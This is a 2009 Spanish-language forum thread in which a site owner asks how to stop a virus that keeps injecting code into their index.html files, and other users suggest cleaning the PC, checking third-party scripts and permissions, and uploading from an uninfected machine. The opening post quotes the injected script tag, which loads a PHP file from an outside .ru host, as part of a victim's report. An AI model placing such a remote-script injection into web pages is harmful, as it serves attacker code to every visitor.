que no se modifique el codigo fuente

nezu · #1 (**permalink**) 20/10/2009, 21:28

Hola, hace tiempo que estoy lidiando con un virus que me modifica
el codigo fuente de mis htmls, los index.html mas precisamente.

Donde se debe ver esto:

Código HTML:

<body>
<table width="200" border="0" align="center">

el virus le agrega esto:

Código HTML:

<script src=http://mebel-garant.ru/components/4415926680707580.php ></script><body>
<table width="200" border="0" align="center">

Ya probé cambiando los permisos del archivo a 444. Pero reincide.
Ahora, mi pregunta es la siguiente:
Como siempre el virus modifca el html agregando el codigo malicioso
en el mismo lugar...no hay alguna manera de decir por ejemplo de aca
a acá es comentado, o alguna especia de "if"...etc..como para que al menos
si me modifica el html que este link quede como comment o no sea relevante, ni
se ejecute.

Gracias por la ayuda de antemano.

kseso? · #2 (**permalink**) 21/10/2009, 05:28

Podrías, pero serían paños calientes.
Lo que deberías es encontrar y eliminar la forma como te inyecta el código:
Puede ser alguna aplicación de terceros que tengas en tu código: uno de tantos recursos gratuitos, algún js... cualquier cosa.
En estos casos viene bien limpiar tu html de todo lo ajeno. Y ver si aparece.
-->Si no, añade uno a uno esos añadidos (relojes, contadores, js...) y observar.
--> Asegurarte que tu pc no está infectado y la inyección no te la haga al momento de subir por ftp o de crear el html.

Y si te aseguras que el origen no está en ti y tus prácticas, contacta con tu servidor.

abimaelrc · #3 (**permalink**) 21/10/2009, 09:33

Tambien modifica el directorio y no el archivo a que tenga permisos como máximo de 666.

nezu · #4 (**permalink**) 21/10/2009, 11:22

Primero que nada, muchas gracias por detenerse a responder mi post.

Bueno, si claro, serian paños calientes. Tengo bien en claro
que es un tema de un virus residente en mi pc el que modifique el codigo...
el tema que hay varias pc en red y al menos hasta que logremos formatear
y/o limpiarlas queria una solución pasajera.

Si alguno sabe, me avisa.

gracias!.

abimaelrc · #5 (**permalink**) 21/10/2009, 11:30

Si entonces es un virus en tu computadora, solo tienes que pasar los archivos a una computadora que no este infectada y desde esa computadora pasar los archivos.